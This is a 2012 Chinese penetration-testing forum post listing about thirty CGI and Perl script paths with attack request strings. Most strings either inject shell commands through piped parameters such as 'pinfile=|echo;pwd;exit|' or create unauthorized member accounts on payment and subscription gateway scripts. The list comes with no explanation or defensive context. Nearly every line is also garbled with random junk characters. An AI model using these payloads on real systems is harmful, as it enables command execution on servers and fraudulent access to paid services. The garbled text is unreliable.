中国网络渗透测试联盟

标题: Cgi-bin 30个漏洞＋使用方法 [打印本页]
作者: admin    时间: 2012-9-13 16:55
标题: Cgi-bin 30个漏洞＋使用方法
==============================
; b0 \0 r* O/ k4 w) h3 U
4 i  Y  I. a/ _5 h, w/ u7 ^/smspass.pl
0 `5 |$ `. ^6 v% [, ]" B7 Uusername=username&password=password( k% a' T5 D# f# d

; l4 w$ x# e: E- I1 M% J/index.cgi
8 ]" N" i" S" d3 w% d4 Z$ E/ wwei=ren&gen=command" G* X4 z" {# X: f
$ o; |+ b, a' t
/passmaster.cgi
6 H1 P1 J% s; Q  G% X" rAction=Add&Username=Username&Password=Password3 E7 A' d, E0 h' j8 j; X
3 K* J6 m" y0 j/ u/ P
/accountcreate.cgi
  k# H, f$ B1 y+ }9 Kusername=username&password=password&ref1=|echo;ls|# ~8 M* ^( W  j) F9 Q

- @; i( \# w5 W" R9 b/form.cgi
2 m; T% U# u/ v, ?: tname=xxxx&email=email&subject=xxxx&response=|echo;ls|% W% s+ l; b, `7 ]* P

: D  x9 u; Y$ Q: k/addusr.pl
( K2 h9 b2 k4 V/cgi-bin/EuroDebit/addusr.pl5 O" ]4 `4 c) P3 D/ s
user=username&pass=Password&confirm=Password
) V3 [3 k% V& w# ]3 W( Z2 p4 q/ S& f9 y$ f: U5 c8 _
/ccbill-local.asp6 ]8 v/ L- N. {$ S8 A4 s$ P+ n
post_values=username:password
- g" Q( I* G4 o" _9 o' A
- ^: M1 p  V1 t/ h* N/count.cgi' C# L% [$ I, `, f: U+ u8 r
pinfile=|echo;ls -la;exit|" _8 ]) ~. B( y/ [
* a, n  Y1 T  ?  U
/recon.cgi
8 N* p) u- E! h6 I/recon.cgi?search
3 j3 n! ~+ r+ q' Q8 L" asearchoption=1&searchfor=|echo;ls -al;exit|
- D, ]( h  j, L- e: `3 U
! W- s- f% F( ]$ d( ~* K4 k$ t/verotelrum.pl. i; c+ i  w' i: R0 x
vercode=username:password:dseegsow:add:amount<&30>
' J+ \7 h" w. P' s) L2 y
9 m8 T3 I1 o  c: [, \% d/af.cgi+ b8 B4 B- d9 a6 C
_browser_out=|echo;ls -la;exit;|
+ z, |7 y" h: f& {* p  n% y
  q, S3 Q( j- W3 e/modify.cgi
4 M' H  z" o! n( s! F! wusername=username&password=password&expire=300 e6 }& Q: J5 Q

6 o; g+ U) c" I9 H* K/ H/ _/openjournal.cgi
  ^9 N% m/ _" L. Tedit=1&ct=2&go=|echo;ls -al;exit|
$ @; h5 n! q6 x) R* o; X$ y- t* [/ i. K" O
/gx9passwd.cgi! m- W0 d4 o- k+ [
cmd=ADD&user=username&pass=password/ H9 K1 }- ~/ ~) z2 N/ c( t

  S' V" Y) _- [0 l5 i) y1 x" i/probecontrol.cgi1 y, o/ {8 g% o8 `' m
command=enable&username=username&password=password
: c# O+ f! x& `- `, a/ B: r9 x8 I) e; |) Q
/recon.cgi$ J/ |/ Z# d8 {
searchoption=3&searchfor=echo;ls -la;exit
  T7 N, Y* Z2 b$ }' M( K$ r
$ p8 `* w+ C* y9 w* i* T/htadd.pl
# h' k4 s% v) j& Pconfigfile=|echo; ls -alt; exit
# t8 P! T/ f/ Y! T- i+ m* A) }6 A$ Q$ `. M- r# i
/gx9passwd.cgi$ f3 {; i# |. M9 d/ ^, v
cmd=ADD&user=username&pass=password
# J) z0 y. @/ @# X3 E; J# K) L3 E+ c( T7 z5 X. B7 T0 C
/ibill*.pl6 `, A, y' o/ N3 v1 D, L& M+ K
reqtype=add&authpwd=authpwd&username=username&password=password
* I0 p0 q+ [4 m1 D4 ^- |8 _" m
% W6 X( l) i0 _9 h( e, T/cpay.cgi
; d0 G7 ~3 S3 v$ x0 Gcommand=add_member&username=username(EMAIL)&password=password(DES)( D1 k" x& t8 I! f

! b, k. ~6 U4 ?( {, k5 D( I% W) o/ P/globill_ut.cgi5 L+ t" p  q5 N4 h
do=add&username=username&password=password&wpassword=password+ E. j% v% t% ^0 d6 u# x

* l- s8 D( Q3 ?  K: s" A. B/usercontrol.cgi
5 {& b  Q2 O3 u; H+ o* gcommand=enable&username=USER&password=PASS
+ x4 V: y$ m7 g, Z3 e* b9 ^
3 o6 X5 ~4 ]6 i/globoSALErum.cgi* Y8 y# y; |1 P
action=ADD&seccode=seccode&login=username&password=password2 k3 P1 s& _" {& J3 P

( r% o" _1 E  V/addusr.pl" r' S; q! ~6 i" {# @5 T* `- d& F  b0 Q
user=USER&pass=PASS&confirm=PASS: f* B& m6 r( e$ J8 k; L' }( d
7 e  ^- b  T' Z" x3 z4 q
/pincount.cgi& n* X; i6 X- g. V7 C
/cgi-bin/mastergate/pincount.cgi7 b0 w. P: C1 k& T
pinfile=|echo;pwd;exit|8 M8 _5 {, @$ W5 C
; i( `' y$ r; N' T. B0 U' u% v
/accountcreate.cgi2 G6 r! i: j/ ?. R
/cgi-bin/gateway/accountcreate.cgi
6 D1 s: }' I1 d3 A6 j* husername=username&password=password&password2=password&ref1=|echo;ls -al;exit
/ Z5 P$ ^, t* b8 b0 L$ |: Z7 d! @$ {7 J) j9 ~# C" p  o
/af.cgi
; U- k8 d1 X4 u$ ^( b/env.cgi: q/ \: ]; z2 Q6 @" q
ADD+;echo;pwd;exit
4 i6 A5 }7 k+ B9 b" n* @  |1 v4 w$ X6 c  ]. I, D
/count.cgi
) |9 @3 B& s( w7 J+ i' B" Cpinfile=|echo;pwd;exit|
  _5 v' x( w! Z5 |9 ?7 W% K5 J2 Z* V9 c5 e2 h7 I& f
/recon.cgi5 P, U5 }. y/ Y0 L. L( `
searchoption=1&searchfor=|echo;ls%20-al;exit|
1 p; N: o$ h* b& M3 t6 g1 ~/ a# `+ P2 N8 t3 s2 W! v3 H
/add.cgi$ U% p- X& Q  a) w* ?5 ], T( j
username=username&password=password&expire=30$ H+ ]# b9 m0 J( t3 B4 v$ p

9 T9 H$ D7 i" [4 d# _==============================' `4 |9 s1 N6 v4 y5 ~) M+ j




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2